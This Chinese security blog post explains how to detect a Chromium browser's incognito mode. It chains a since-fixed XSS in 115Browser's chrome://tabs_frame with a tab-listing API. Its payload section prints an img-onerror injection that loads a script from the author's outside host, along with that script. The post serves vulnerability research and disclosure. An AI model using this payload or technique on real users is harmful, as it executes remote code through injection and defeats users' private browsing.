我可能是用了假的隐身模式
小编：文章提了一个探测chromium内核浏览器当前是否处于隐身模式的通用思路和具体实现，大家可以发散思维，搞一些有趣的事情 :)
0x01 隐身模式
隐身模式会打开一个新窗口，以便在其中以私密方式浏览互联网，而不让浏览器记录访问的网站，当关闭隐身窗口后也不会留下 Cookie 等其他痕迹。用户可以在隐身窗口和所打开的任何常规浏览窗口之间进行切换，用户只有在使用隐身窗口时才会处于隐身模式，本文将简单的谈一下基于模式差异化的攻击方法。
0x02 浏览器模式的差异化
做过浏览器指纹检测的可能知道使用不同的函数方法或者 DOM 来判断指纹，想要判断目标浏览器当前处于隐身模式还是正常模式，当然也需要找出两种模式下的差异化在哪里，之后使用脚本或其他方法去判断。虽然隐身模式不能用传统那些探测指纹的方法来判断，但我在之前使用隐身模式的过程中发现，当用户输出访问某些 ChromeURL 的时候浏览器不会在当前模式下打开，例如：chrome://settings/manageProfile, chrome://history, chrome://extensions/ 等。这个差异很大的原因可能是隐私模式下对于 extensions, history, profile… 不关联信息时做出的不同处理，利用这个“特性”我想能够做些事情。
0x03 Vuln + Feature
现在我们的理想攻击流程：
获取浏览器当前 Title/location.href/Tabs 等信息；
使用 JavaScript 打开上面测试存在差异化的 URL ；
判断用户目前的浏览器模式是否存在这个微妙的不同；
拿 115Browser 7.2.25 举例，当我们在隐私模式下打开 chrome://settings 时，浏览器启动了一个正常浏览器的进程：
我们知道是不能从非 chrome 协议直接 href 跨到浏览器域的：
location.href='chrome://settings'
"chrome://settings"
testchrome.html:1 Not allowed to load local resource: chrome://settings/所以这里我去寻找一个 chrome 域的跨站漏洞，这个 115 Chrome 域下的漏洞（已修复）位于 chrome://tabs_frame ，页面 DOM 动态渲染网站 TABS Title 时过滤不严谨导致的跨站：
dom = {
list: document.getElementsByTagName('ul')[0],
index: -1,
doc: document
},
//jQuery,迭代得到当前元素在某个方向上的元素集合
dir = function (elem, dir) {
var matched = [],
cur = elem[dir];
while (cur && cur.nodeType !== 9) {
if (cur.nodeType === 1) {
matched.push(cur);
}
cur = cur[dir];
}
return matched;
};
...
//callback：获取当前打开的标签并显示
OOF_GET_TAB_LIST = function (str) {
var json = JSON.parse(str),
tabList = [];
for (var i = json.length - 1; i >= 0; i--) {
tabList.unshift(tpl.replace(/{(\w+)}/g, function (match, key) {
return json[i][key];
}));
}
dom.list.innerHTML = tabList.join("");
}
现在我们能够按照上面的思路来进行判断了，这里我为了方便直接使用 115浏览器的 browserInterface.GetTabList 接口来获取 TABS 的差异化：
function(callback) {
native function NativeGetTabList();
return NativeGetTabList(callback);
}
这个方法接收回调函数获取当前浏览器的 TABS 信息：
0x04 Payload
http://server.n0tr00t.com/chrome/check_incognito_mode.html
<html>
<head>
<title><img src=@ style="display: none;"
onerror="a=document.createElement('script');a.src='http://server.n0tr00t.com/chrome/checkwindow.js?'+new Date().getTime();a.id='abc';document.body.appendChild(a);">
</title>
</head>
<body>
TEST Chromeium Incognito Window
</body>
</html>
http://server.n0tr00t.com/chrome/checkwindow.js
* Author: evi1m0.bat[at]gmail.com
* Check Chromium Browser Incognito Window
**/
initCount = function () {
location.href = 'chrome://settings/';
}
check = function () {
if (window.data.indexOf('"href":"chrome://settings/"') < 0) {
document.body.innerHTML = 'Chrome Incognito Window!!!';
} else {
document.body.innerHTML = 'Chrome Normal :)';
}
}
setTimeout("initCount()", 100);
callback = function (data) {
window.data = data
};
browserInterface.GetTabList('callback');
setTimeout("check()", 1000);
正常模式网页浏览和隐身模式网页的浏览图：
0x05 EOF
通过漏洞和特性的利用我们成功的实现了对浏览器隐身模式的追踪，在测试过程中发现有些浏览器 chrome://…url 是禁用的，但依然能够他们本身浏览器使用的伪协议来实现差异化的跳转（例如 QQ 浏览器的 qqbrowser:// ），这种特性虽然需要一个漏洞来配合利用，不过我认为相比之下难度着实小了许多。
搜索“同程安全”或者扫描下方二维码关注YSRC公众号，招各种安全岗，欢迎推荐。
往期文章
A BLACK PATH TOWARD THE SUN － HTTP Tunnel 工具简介